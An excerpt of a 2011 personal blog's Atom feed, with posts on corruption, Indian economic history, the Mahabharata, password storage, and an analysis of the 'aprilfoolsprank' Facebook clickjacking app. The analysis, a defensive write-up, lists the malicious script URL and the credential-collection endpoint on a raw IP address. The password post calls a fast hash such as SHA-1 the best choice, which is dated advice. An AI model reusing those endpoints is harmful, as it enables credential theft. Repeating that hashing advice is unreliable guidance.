Das"/><id>https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/</id><author><name>Ashish Bhatia</name></author><published>2011-08-01T03:16:23+00:00</published><updated>2011-08-01T03:16:23+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the far-reaching impacts of corruption including economic strain, investment manipulation, and national security threats, with insights from Dr. Subramanian Swamy.</blockquote><p>(Following are a few notes from the talk on corruption by Harvard Professor and   
    
    
<a href="https://en.wikipedia.org/wiki/Janata_Party?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Janata Party</a> leader,  Dr.   
    
    
<a href="https://en.wikipedia.org/wiki/Subramanian_Swamy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Subramanian Swamy</a> held in Bay Area on July 29th 2011)</p>
<p><strong>Corruption</strong> - misuse of public office for personal gains</p>
<h2 id="five-impacts-of-corruption">Five impacts of corruption</h2>
<ol>
<li>Leads to <strong>suboptimal utilization</strong> of resources implying a lower [GDP] growth rate in long-run</li>
<li>Since corruption involves black money which can be easily caught if it is used for re-investment [for say, setting up a factory], black money primarily goes towards consumption and this leads to reversal of <strong>investment priority</strong>(roughly 70% of investment goes directly/indirectly to sustain luxury sector in India)</li>
<li>Hoarders and Profiteers bribes the corrupt incumbent to manipulate government [to hold/release necessary goods like food grains at their will] leading to <strong>artificial scarcity for goods</strong> [and earns huge profit by selling goods at artificially inflated prices]</li>
<li>Most of these offshore banks charge service fee [which can be as high as 2%] of the deposits, given that India&rsquo;s off-shore deposits are estimated to be in the range of $400 Billion to $1.4 Trillion, the amount of money which is paid to off-shore banking companies for maintaining the deposits leads to <strong>significant loss of national wealth</strong>.
Further, in many cases this money returns to Indian stock market in form of participatory notes effectively leading to insider trading.</li>
<li>Most black money flows out of India using   
    
    
<a href="https://en.wikipedia.org/wiki/Hawala?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hawala</a> (and usually) via Dubai, this effectively provides these hawaladars with a way to blackmail national leaders and <strong>compromises national security</strong>.</li>
</ol>
<h2 id="indian-bank-accounts-in-bank-of-liechtenstein">Indian bank accounts in Bank of Liechtenstein</h2>
<p>By bribing an officer of Bank of Liechtenstein, German government obtained list of all account holders of the bank, list consisted of citizens of 24 nationalities, Germany offered the lists to all 24 nationalities and all except India replied back asking for the names. Later, when Indian government finally is in possession of  the names, it decided not to disclose the list [and there is an ongoing court case for the disclosure of the same]</p>
<h2 id="disincentive-for-corruption">Disincentive for corruption</h2>
<p>Low probability of catching a corrupt person is acceptable but if chance of being punished once caught is high, it acts as deterrent for corruption. Swamy praised American system of prosecution by comparing prosecution of   
    
    
<a href="https://en.wikipedia.org/wiki/Bernard_Madoff?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bernard Madoff</a> [150 years prison] and   
    
    
<a href="https://en.wikipedia.org/wiki/Byrraju_Ramalinga_Raju?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ramalingam Raju</a> [still unpunished]</p>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Book summary: India Unbound by Gurcharan Das</title><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><id>https://ashishb.net/book-summary/india-unbound/</id><author><name>Ashish Bhatia</name></author><published>2011-07-02T11:45:33+00:00</published><updated>2011-07-02T11:45:33+00:00</updated><content type="html"><![CDATA[<blockquote>Explore India&rsquo;s economic journey through British rule, post-independence, and 1991 liberalization. Discover how these eras shaped India’s modern economy.</blockquote><p>The   
    
    
<a href="https://amzn.to/2FbIu4F?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is divided primarily into three parts, the pre-independence era [focused on the British Raj including some stories of the Mughal period], the post-independence pre-liberalized era, and post-liberalized India.
The author was born in 1943 in West Punjab, which is now under the occupation of Pakistan. The author narrates his personal experiences of the economic conditions of India from 1947-2001.</p>
<p><img alt="India Unbound" loading="lazy" src="/book-summary/india-unbound/tmp1-193x300.jpg"></p>
<h2 id="1-british-raj">1. British Raj</h2>
<p>While British Raj did harm India [economically], the reason that Indian handicrafts lost to machine-driven goods is also significant.
Handlooms all over the world were impacted by the emergence of technology and since India was the largest textile maker in the world, it got impacted the most.
The author further notes that while &ldquo;some&rdquo; Britishers made huge profits in India, overall British India did not provide a lot of profit to the crown.
The prevailing culture of looking down on merchants as greedy, as opposed to viewing them as the lifeblood of the economy, did further harm.</p>
<p>The emergence of &ldquo;brown sahib&rdquo; in the British Raj: Primarily Brahmins learned English and took up clerical and managerial jobs for Britishers. The author notes that those who were quick, as opposed to being better, to grab the opportunity benefitted at that time.</p>
<p><strong>Indians prefer vertical over horizontal relations</strong>, on numerous instances from wars to running industries, it has been seen that Indians prefer/are more comfortable with their managers and subordinates as opposed to colleagues. The author believes that with globalization (read &ldquo;fight for survival&rdquo;) this trend has to change.</p>
<h2 id="2-license-raj">2. License Raj</h2>
<p><strong>State-controlled planning of the 1950s</strong> Almost all newly independent nations and many economists of that period had the feeling that state planning and state-controlled industries are necessary which just led to inefficient, high-priced, low-quality goods.
Also, in that era, most Western nations were going through a phase of emphasizing wealth distribution since &ldquo;wealth creation&rdquo; was going on at a good pace.
Unfortunately, many of the Indian bureaucrats trained in these nations forgot that India needed wealth creation first.
Among the common man, trade was not seen as a <strong>positive-outcome</strong> game, but it was perceived as a <strong>zero-sum</strong> game.</p>
<p>Note: John Rawls showed that it is possible for a group to agree to different outcomes provided every one of them is better off by accepting the outcome (market-based liberal democracy) which convinces the author that inequality can sometimes be acceptable.</p>
<p><strong>Nehru&rsquo;s economic policies</strong>
Nehru emphasized state control. He looked down at the private sector.
He pursued the policy of import substitution over export promotion
and promoted big state-owned industries like steel as opposed to &ldquo;small toy-making wage goods&rdquo; industries. The Asian tigers took the latter route.
extreme license control where several months will be spent for approval. <strong>India was the only non-communist where manufacturing goods beyond the licensed limit was a crime.</strong> The tax rates shot up to ~80% and thus, the creation of tax-less cash transactions. Despite repeated warnings from the USA, India decided not to focus on agriculture since it was believed that it was a Western conspiracy to keep India backward and eventually suffered a food crisis. Finally, when <em>Lerma Rojo</em> was imported, which led to the green revolution, it was criticized as being sold to America. Slowly the businesses learned the tricks like exhausting all the licenses of a product to prevent any future competition and this reduced their capability to work in the competitive economy.</p>
<p><strong>Indira&rsquo;s Era</strong> While socialism was popular during Nehru&rsquo;s era, it lost most of its charm in a couple of decades, but during Indira&rsquo;s rule, controls were further tightened. Several state-owned enterprises emerged during this era that was not profitable and sometimes did not produce any goods eg. Scooters India Ltd. and it was illegal to close them. By 1980, 75% of state-owned companies were in losses, 14 banks were nationalized and in a decade, most of them were bankrupt. The final nail was the Monopolies Restrictive Trade Practices Act of 1969 which implied anyone with a 10 Billion Rupee in combined assets cannot invest any further, <strong>which forced Aditya Birla to establish companies in Indonesia, Thailand, and Hong Kong</strong>. The author laments that while everyone remembers the emergency as 2 years of political suppression, very few realize the 40 years of economic suppression. The author bluntly criticizes Congress politicians and leftist intellectuals for being anti-free market and anti-west and refers to Indians of this era as the lost generation.</p>
<h2 id="3-post-liberalization-of-1991">3. Post-liberalization of 1991</h2>
<p>Being short of foreign exchange reserves, India asks for a loan from the IMF and starts economic reforms in parallel.
The author praises Narasimha Rao, Prime Minister; Manmohan Singh,  Finance Minister, and P Chidambaram, Commerce Minister, for their role in liberalizing the Indian economy. Several examples like Zee TVs Subhash Chandra, and NIIT&rsquo;s Rajendra Pawar have been given to illustrate first-generation millionaires created by liberalization. While some Indian business houses have reformed and separated ownership from management, others are still struggling with the new world order, Ranbaxy&rsquo;s Parvinder Singh set an example by passing his company to professionals instead of his sons. There are <strong>three ways to compete</strong> - superior (lower) prices, a superior product, and superior service, as of now, Indian industries follow superior prices and they should move to superior service now, the growth of the middle class is one of the most significant consequences of liberalization. A major area where reform has still not occurred is education and the nation is in a dire need of it.
The author criticizes the Swadeshi policy of nationalists, terming it as another form of license raj since he believes that rather than asking for protection from competition, indigenous companies should learn to compete in a free market.
&ldquo;Ideas can be copied, execution decides who is the winner&rdquo;
India missed the Industrial Revolution, the IT Revolution is, therefore, critical for India.
While some people fear that Indians are westernizing, the author believes India is &ldquo;modernizing&rdquo; and the &ldquo;spiritual component of life&rdquo; is here to stay in Indian life.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Summary: "Difficulty of being good: Subtle art of Dharma"</title><link href="https://ashishb.net/book-summary/difficulty-of-being-good-subtle-art-of-dharma/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-7-habits-of-highly-effective-people/?utm_source=atom_feed" rel="related" type="text/html" title="Summary: The 7 Habits of Highly Effective People"/><link href="https://ashishb.net/book-summary/build-to-last-successful-habit-of-visionary-companies/?utm_source=atom_feed" rel="related" type="text/html" title="Summary: Built to Last (Successful habit of visionary companies)"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><id>https://ashishb.net/book-summary/difficulty-of-being-good-subtle-art-of-dharma/</id><author><name>Ashish Bhatia</name></author><published>2011-06-22T08:48:14+00:00</published><updated>2011-06-22T08:48:14+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the Mahabharata&rsquo;s intersection with modern life, focusing on life&rsquo;s goals, dharma&rsquo;s subtleties, human emotions, and karma&rsquo;s role in justice.</blockquote><p>The   
    
    
<a href="https://amzn.to/2HqzZEL?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> interprets events in Mahabharata while trying to draw parallels from the contemporary world.
Following are the key takeaways based on my understanding of the book. I am assuming some familiarity with the story of Mahabharata.</p>
<p><strong>Goals of human life</strong>
Mahabharata mentions three goals of human life - <em>artha</em> (money), <em>kama</em>(desire), and <em>dharma</em>(righteousness).
Note: <em>moksha</em> (salvation) was added in the post-Mahabharata period.</p>
<p><strong>Subtle</strong>
One &ldquo;subtlety&rdquo; is that when all three goals of life cannot be attained simultaneously and the choice has to be made between artha+kama and dharma.
Another &ldquo;subtlety&rdquo; is of dharma, it is difficult to put people/choices in rigid compartments of good and bad, making the right decisions is, therefore, subtle.
Therefore, Mahabharata does not compartmentalize people into good and bad, rather explains different (subtle) viewpoints on every crucial decision of its characters.</p>
<p><strong>Dharma</strong>
Dharma is <strong>subtle</strong>, many times, we are forced to take wrong means for right means(and ends us like Arjuna in hell) or reaches wrong ends following right means(like Yudhishthira in exile).
The distinction is made between <strong>two forms of dharmas</strong> - sva-dharma (eg. fighting a war for a warrior) and sadharana-dharma(eg. non-violence, remorse, and compassion). In real life, these dharmas occasionally <strong>contradict</strong> each other.
Mahabharata rejects envy-filled Duryodhana as well as violence-avoiding (pre-exile) Yudhishthira, it praises a pragmatic &ldquo;reciprocal altruistic&rdquo; Yudhishthira (post-exile).
Mahabharata does not approve of non-reaction to injustice [&ldquo;showing the other cheek&rdquo; philosophy] for that signals the evil person that wrong act pays.
The text does not treat <em>sva-dharma</em> or <em>sadharana-dharma</em> superior to each other but suggests a middle path.
sva-dharma asks for a man to carry friendly but reciprocal altruism, that is, a cautious face towards the world, while sadharana dharma asks for a non-reaction even to injustice( <em>anyaya</em>)
Krishna teaches <strong>Nishkaama Karma</strong>[&ldquo;be intent on the action and not on the fruits of the action&rdquo;] to Arjuna which is the central idea of <strong>Karma Yoga</strong>. Clearly, the emphasis is on &ldquo;sva-dharma&rdquo; over &ldquo;sadharana dharma&rdquo; [not only the preference of sva-dharma is questionable but also the identifying sva-dharma is a mystery in itself].</p>
<p><strong>Human Emotions</strong> Duryodhana&rsquo;s <strong>envy</strong> for the Pandava&rsquo;s Indraprastha and Yudhishthira&rsquo;s <strong>greed,</strong> or addiction, to a game of dice and win more territory was the main cause of war.
The envy can result in healthy competitiveness raising oneself up by making the envious work harder, for rival&rsquo;s possessions, or eternal sickness to pull the rival down.
Envy and greed are both present even in the modern-day world, the failure of communism was caused by envy among citizens while the capitalist system is stranded by greed. The aim of society should not be to suppress these feelings among its citizens but to channelize them productively. Envy is the vice of socialism, Greed is the evil of capitalism.</p>
<p>Karna always had <strong>status anxiety</strong>, for being brought up in a family of low caste charioteers. He was aware of the fact that he is Kshatriya by blood. Interestingly, the author points out that less feudal societies like the USA suffer more status anxiety than more feudal European nations. The existence of opportunity causes more anxiety. Eklavya, being born in a tribe felt less anxiety than Karna, even when he was denied Kshatriya training. (ashishb&rsquo;s note: when Dronacharya asks Eklavya&rsquo;s thumb as a guru-Dakshina, the author calls it &ldquo;caste-discrimination&rdquo;, I see this as an example of <strong>ego</strong>(ahamkara) and not caste-discrimination, since, Dronacharya wanted to see Arjuna as the best archer and thus, would have asked for same guru-Dakshina irrespective of Eklavya&rsquo;s caste)</p>
<p>Draupadi&rsquo;s question &ldquo;what&rsquo;s the dharma of the king&rdquo; implies <strong>accountability</strong> on the part of administration on what happens in their jurisdiction irrespective of who does it.</p>
<p><strong>If God exists, why is there evil in the world?</strong> God exists but is not all-powerful, it&rsquo;s the <em>law of karma</em> that is all-powerful. Human beings are free to &ldquo;act&rdquo; but they cannot escape from the consequences( <em>niyati</em>) of past actions( <em>karma</em>) and strokes of fortune( <em>daiva</em>)
[ashishb&rsquo;s note: In engineering parlance, we have a trade-off here, either human can act freely and some of them will cause evil or they could  live like slaves of God and thus, no evil, the law of karma suggests former]</p>
<p><strong>Retributive justice vs Forgiveness</strong> (justice vs peace)
While a nation with stronger legal laws can prefer justice over peace, the newly created or war-torn nations with weaker legal laws should prefer to restore peace and harmony in society rather than emphasizing justice. After the end of   
    
    
<a href="https://en.wikipedia.org/wiki/South_Africa_under_apartheid?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Apartheid</a>, South Africa preferred peace and succeeded while Argentina preferred justice, tried prosecution in 1980 of   
    
    
<a href="https://en.wikipedia.org/wiki/Dirty_War?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dirty war</a> which was sponsored by the previous government and failed.</p>
<p><strong>The yaksha <em>prashnas</em></strong>(questions with Yudhishthira&rsquo;s answers)</p>
<ol>
<li>
<p>Who is happy?
One who cooks vegetables at home has no debts and is not in exile.</p>
</li>
<li>
<p>What is extraordinary?
One sees people dying every day and still thinks he will be live forever.</p>
</li>
<li>
<p>What is the news?
Time cooks human beings.</p>
</li>
<li>
<p>What is the highest dharma in the world?
<em>anrishamsya</em> (compassion)</p>
</li>
</ol>
<p>The famous [agnostic] <strong>Nasadiya verse from Rigveda</strong>
There was neither existence nor existence then &hellip; There was neither death nor immortality then. There was no distinguishing sign of night nor of the day &hellip; Who really knows? &hellip; The gods came afterward with the creation of the universe. Who then knows whence it has arisen?</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/dharma" term="dharma" label="dharma"/><category scheme="https://ashishb.net/tag/gurcharan-das" term="gurcharan-das" label="gurcharan-das"/></entry><entry><title type="html">How do you store my password?</title><link href="https://ashishb.net/security/how-do-you-store-my-password/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/facebook-click-jacking-chica-sexy/?utm_source=atom_feed" rel="related" type="text/html" title='Preliminary analysis of Facebook Click jacking Attack "Chica Sexy"'/><link href="https://ashishb.net/security/facebook-clickjacking-aprilfoolsprank/?utm_source=atom_feed" rel="related" type="text/html" title="Preliminary analysis of Facebook clickjacking - aprilfoolsprank"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><id>https://ashishb.net/security/how-do-you-store-my-password/</id><author><name>Ashish Bhatia</name></author><published>2011-05-15T21:02:30+00:00</published><updated>2011-05-15T21:02:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the best practices for securing passwords in an era of cloud storage. Are your credentials safe? Learn why a strong password policy matters.</blockquote><p>As the world moves towards cloud-based storage and computing, the task of storing our data on a PC hard disk is being replaced with cloud-based storage providers. This includes our emails, social data, professional data, and financial data. Accessing this data requires authentication, despite its various   
    
    
<a href="https://www.duke.edu/~rob/kerberos/dumbauth.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">limitations</a>, username and password are still the standard way of authentication [though   
    
    
<a href="https://openid.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OpenID</a> is slowly becoming popular]. One thing which is crucial in this case is how web services store user&rsquo;s password.</p>
<h2 id="the-password-is-more-important-than-data">The password is more important than data</h2>
<ol>
<li><strong>Access to password implies access to user&rsquo;s data</strong>(but not vice versa) - of course, unless the web service enforces at least one other   
    
    
<a href="https://googleblog.blogspot.com/2011/02/advanced-sign-in-security-for-your.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">factor</a> for authentication.</li>
<li><strong>Password reuse is extremely   
    
    
<a href="https://www.infoworld.com/t/data-security/study-finds-high-rate-password-reuse-among-users-188?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">common</a></strong> - if someone is able to get access to user&rsquo;s password on a social networking site, it can be used to compromise his data stored on (say) email service.</li>
<li><strong>Unethical employees</strong>- an unethical employee who might have (legitimate) access to user&rsquo;s data [for technical reasons], might find it tough to read/manipulate user data in a corporate environment where [due to network monitoring] since chances of getting caught are pretty high. If he is able to access user&rsquo;s password, he can access user&rsquo;s data from the comfort of home [and behind anonymous proxies]</li>
</ol>
<p>If a user is accessing a web service over SSL, only the user [or user&rsquo;s browser to be precise] and the web service gets to see the password. While   
    
    
<a href="https://en.wikipedia.org/wiki/Phishing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">spear phishing</a>,   
    
    
<a href="https://en.wikipedia.org/wiki/DNS_cache_poisoning?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dns poisoning</a> (with   
    
    
<a href="https://www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fake certificates</a>) are popular ways used by attackers to get the password from the user, password leaks as a consequence of the attack on servers not that   
    
    
<a href="https://www.pcmag.com/article2/0,2817,2374375,00.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">uncommon</a> anymore. Especially, it is easy for an attacker to target small companies, harvest password [and reuse them to gain access to user&rsquo;s data on other sites].</p>
<h2 id="how-web-services-store-password">How web services store password</h2>
<p>There are three primary ways for a web service to store password -</p>
<ol>
<li>Plaintext
The password is stored &ldquo;as-is&rdquo;, an attacker who has gained control can read the passwords. An in-house encryption technique is no different from plain text password since it has not been proved to be unbreakable.</li>
<li>Encrypted
The password can be recovered using a key whose access is presumably more limited than encrypted data itself. But this can   
    
    
<a href="https://web.archive.org/web/20121017235804/https://blog.sucuri.net/2010/02/godaddy-security-update.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">freak</a> out tech-savvy people and is also bad, since if any employee who is able to get to see the password once, can always access data later on. (even from an external network)</li>
<li>One-way hash (best choice)
One way hash has the property that one can verify whether the user knows the password or not without actually storing the password itself. The password-to-hash function is fast while there are no known ways to reverse it (except brute-force which is extremely slow). A properly chosen hash (eg. SHA-1 hash) is the best choice. Gawker   
    
    
<a href="https://www.codinghorror.com/blog/2010/12/the-dirty-truth-about-web-passwords.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">used</a> md5 which can be cracked using brute-force.</li>
</ol>
<p><strong>Need for disclosure</strong> Given that passwords are crucial, what we need is a self-disclosure policy on the part of web services to tell us how they store our password. And yeah, this should be a one-line disclosure and not pages full of terms-of-service which only lawyers understand. This disclosure should also further include whether the password gets logged as a part of regular network activity or not. Business Insider   
    
    
<a href="https://www.businessinsider.com/how-mark-zuckerberg-hacked-into-the-harvard-crimson-2010-3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">alleged</a> that passwords saved as a part of normal network logging activity have been used earlier.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/></entry><entry><title type="html">Preliminary analysis of Facebook clickjacking - aprilfoolsprank</title><link href="https://ashishb.net/security/facebook-clickjacking-aprilfoolsprank/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/facebook-click-jacking-chica-sexy/?utm_source=atom_feed" rel="related" type="text/html" title='Preliminary analysis of Facebook Click jacking Attack "Chica Sexy"'/><link href="https://ashishb.net/security/facebook-rotating-images-worm/?utm_source=atom_feed" rel="related" type="text/html" title="Analysis of Facebook Rotating Images worm"/><link href="https://ashishb.net/security/how-do-you-store-my-password/?utm_source=atom_feed" rel="related" type="text/html" title="How do you store my password?"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><id>https://ashishb.net/security/facebook-clickjacking-aprilfoolsprank/</id><author><name>Ashish Bhatia</name></author><published>2011-04-04T11:34:24+00:00</published><updated>2011-04-04T11:34:24+00:00</updated><content type="html"><![CDATA[<blockquote>Protect your Facebook account from the &ldquo;aprilfoolsprank&rdquo; app - learn how to secure your login and avoid phishing attacks before it&rsquo;s too late!</blockquote><p>If you have been already a victim of this, then <strong>change your password and unlike the page as soon as possible.</strong></p>
<p>A malicious app called &ldquo;aprilfoolsprank&rdquo; which likes a page on a user&rsquo;s behalf and tries to phish a user into disclosing his/her Facebook login and password is taking its toll on Facebook users.</p>
<p><img alt="Image" loading="lazy" src="/security/facebook-clickjacking-aprilfoolsprank/Screen-shot-2011-04-03-at-8.57.28-PM-300x187.png">]</p>
<p><strong>What appears:</strong> The app displays a video and as soon as the user tries to play it, she/he is logged out.</p>
<p><strong>What happens:</strong> The video displayed is an image that on clicked adds a script element (download from   
    
    
<a href="http://173.231.144.82/fb1.js?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://173.231.144.82/fb1.js</a> ), thus, by manipulating the DOM tree of the page, an untrusted javascript gets executed on the page.
[As per my limited understanding of FB JS sandbox model, the app should not have been able to manipulate the DOM tree but the app is able to escape the fbjs by having a &ldquo;javascript:&rdquo; pseudo URL as a href for the anchor tag. I do not know the internals of fbjs, so I won&rsquo;t comment on this manipulation further]</p>
<p>What this app does</p>
<ol>
<li>Likes the link   
    
    
<a href="https://cotyperfume.info/aprilprank/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://cotyperfume.info/aprilprank/</a> [as of this writing ~60,000 users have liked this link)</li>
<li>Logs the user out of Facebook.</li>
<li>Displays a phishing page[ 
<a href="Screen-shot-2011-04-03-at-9.19.00-PM.png">screenshot here</a>] which sends the user&rsquo;s email address and password to   
    
    
<a href="http://173.231.144.82/log.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://173.231.144.82/log.php</a></li>
</ol>
<p><strong>EDIT</strong> 1: The app info page (with the name of the developer) is   
    
    
<a href="https://www.facebook.com/apps/application.php?id=191977104177890&amp;sk=info&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a> <strong>EDIT</strong> 2: The obfuscated javascript contains an email address 
<a href="mailto:rasheedamaule548@yahoo.com">rasheedamaule548@yahoo.com</a></p>
<p><strong>EDIT</strong> 3: The code verifies that the entered username and password are correct and shows   
    
    
<a href="https://www.youtube.com/embed/blOrY-nEGaE?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a> YouTube video otherwise, an error message is shown prompting the user to re-enter the login and password. This one is a cool trick, isn&rsquo;t it :)</p>
<p><strong>EDIT</strong> 4: The app was &ldquo;liked&rdquo; by at least 120, 000 users before being removed by Facebook.</p>
<p><strong>EDIT</strong> 5: Based on   
    
    
<a href="https://www.eweekeurope.co.uk/news/xss-exploit-hidden-in-facebook-bully-video-26153?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a> news article, I guess that allowing javascript: handlers to do script inclusion from untrusted domains was the cause of this.</p>
<p><em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/clickjacking" term="clickjacking" label="clickjacking"/><category scheme="https://ashishb.net/tag/facebook" term="facebook" label="facebook"/></entry><entry><title type="html">EA Sports vs Zynga : the battle for games in smartphone era</title><link href="https://ashishb.net/tech/ea-sports-vs-zynga-the-battle-for-games-in-smartphone-era/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/?utm_source=atom_feed" rel="related" type="text/html" title="Random thoughts: goals and company types in tech world"/><link href="https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/?utm_source=atom_feed" rel="related" type="text/html" title="FOSS (Free and Open Source Code) Licensing FAQ"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/ea-sports-vs-zynga-the-battle-for-games-in-smartphone-era/</id><author><name>Ashish Bhatia</name></author><published>2011-03-21T08:25:11+00:00</published><updated>2011-03-21T08:25:11+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how Zynga outpaces EA Sports in market valuation by leveraging social gaming trends, changing demographics, and mobile engagement. Discover the future of gaming!</blockquote><p>Zynga&rsquo;s market valuation has   
    
    
<a href="https://www.bloomberg.com/news/2010-10-26/zynga-s-value-at-5-5-billion-tops-electronic-arts-on-virtual-goods-surge.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">surpassed</a> EA Sports market evaluation. Even though EA Sports is trying hands in social and acquired   
    
    
<a href="https://www.ea.com/news/ea-serves-up-florida%E2%80%99s-natural-orange-juice-in-playfish-social-games?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Playfish</a>, their main source of revenue is still video games. Though the current   
    
    
<a href="https://www.appdata.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">user base</a> of EA Sports (35 million) does not look impressive compared to Zynga&rsquo;s (258 million) but a viral game from Playfish can always turn the table.</p>
<p>There are a few salient factors present in this interesting phenomenon of social games vs video games:</p>
<ol>
<li>Our attention span is getting   
    
    
<a href="https://web.archive.org/web/20110828062316/https://www.asiadigitalmap.com/2010/07/web-browser-tabs-are-cutting-user%E2%80%99s-online-attention-span-usability/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shorter</a> and distractions are increasing
social games perfectly fit this picture, they don&rsquo;t require hours and hours of dedicated effort to play, chat, mail checking, status updates and posting on the wall can all be done while playing them.</li>
<li>Presence of social and mobile layer in online social games
Unlike resource hungry video games, they do not require dedicated hardware and you can ask your friends for extra sheep (err, help) for the farm.</li>
<li>Less (or usually zero) upfront payment
